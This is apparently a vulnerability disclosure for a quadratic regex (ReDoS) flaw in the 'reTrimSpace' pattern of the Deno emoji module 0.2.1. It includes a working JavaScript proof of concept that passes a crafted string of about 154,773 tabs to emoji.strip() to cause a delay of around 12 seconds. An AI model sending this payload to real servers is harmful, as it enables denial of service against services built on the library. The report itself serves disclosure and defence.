Description

The reTrimSpace regex has 2nd degree polynomial inefficiency, leading to a delayed response given a big payload.

Proof of Concept

import * as emoji from "https://deno.land/x/emoji@0.2.1/mod.ts";

const input = '\x00' + '\t'.repeat(154773) + '\t\x00';
const start = performance.now();
emoji.strip(input);
const end = performance.now();
console.log(Number(end - start).toString());

This usually takes ~12 seconds on a fast PC model.

Impact

Exploiting this vulnerability successfully can lead to staggered delays on a server.